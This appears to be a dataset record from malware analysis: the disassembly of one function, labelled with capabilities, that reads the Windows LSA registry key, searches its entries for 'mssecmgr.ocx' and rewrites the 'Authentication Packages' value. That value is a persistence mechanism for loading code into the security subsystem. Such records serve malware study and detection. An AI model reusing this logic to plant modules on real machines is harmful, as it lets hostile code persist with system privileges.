Function at 0x4474f0
Capabilities:
Persist via lsa registry key
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov dword [ebp - 0x30], ecx
mov dword [ebp - 8], 0
lea eax, [ebp - 8]
push eax
push 0xf003f
push 0
mov ecx, dword [str.SYSTEMCurrentControlSetControlLsa]
push ecx
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x4476df
mov dword [ebp - 0x14], 0x410
mov edx, dword [ebp - 0x14]
push edx
call fcn.0042c2e7
add esp, 4
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
lea ecx, [ebp - 0x18]
push ecx
mov edx, dword [ebp - 0x10]
push edx
push 0
push 0
push 0x458108
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xea
jne 0x4475ae
mov ecx, dword [ebp - 0x14]
shl ecx, 1
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 0x10]
push eax
call fcn.0042c3aa
add esp, 8
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], ecx
lea edx, [ebp - 0x18]
push edx
mov eax, dword [ebp - 0x10]
push eax
push 0
push 0
push 0x458138
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov dword [ebp - 0xc], eax
jmp 0x447564
cmp dword [ebp - 0xc], 0
jne 0x4476c3
mov dword [ebp - 0x28], 0
mov edx, dword [ebp - 0x14]
push edx
call fcn.0042c2e7
add esp, 4
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x14]
push eax
push 0
mov ecx, dword [ebp - 0x20]
push ecx
call fcn.004288a0
add esp, 0xc
mov edx, dword [ebp - 0x10]
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x1c], 0
je 0x447688
mov ecx, dword [ebp - 0x1c]
movzx edx, word [ecx]
test edx, edx
je 0x447688
push str.mssecmgr.ocx
mov eax, dword [ebp - 0x1c]
push eax
call fcn.00429a56
add esp, 8
test eax, eax
je 0x447656
mov ecx, dword [ebp - 0x1c]
push ecx
call fcn.00428ced
add esp, 4
push eax
mov edx, dword [ebp - 0x1c]
push edx
mov eax, dword [ebp - 0x24]
push eax
call fcn.00429415
add esp, 0xc
mov ecx, dword [ebp - 0x1c]
push ecx
call fcn.00428ced
add esp, 4
mov edx, dword [ebp - 0x24]
lea eax, [edx + eax*2]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x24]
add ecx, 2
mov dword [ebp - 0x24], ecx
jmp 0x44765d
mov dword [ebp - 0x28], 1
push 0
mov edx, dword [ebp - 0x1c]
push edx
call fcn.0040f010
add esp, 8
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
je 0x44767d
mov eax, dword [ebp - 0x2c]
add eax, 2
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x1c], ecx
jmp 0x4475ec
cmp dword [ebp - 0x28], 0
je 0x4476b7
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 0x20]
push eax
push 7
push 0
push str.Authentication_Packages
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x4476b7
mov edx, dword [ebp - 0x30]
mov dword [edx + 8], 1
mov eax, dword [ebp - 0x20]
push eax
call fcn.00429021
add esp, 4
cmp dword [ebp - 0x10], 0
je 0x4476d5
mov ecx, dword [ebp - 0x10]
push ecx
call fcn.00429021
add esp, 4
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov esp, ebp
pop ebp
ret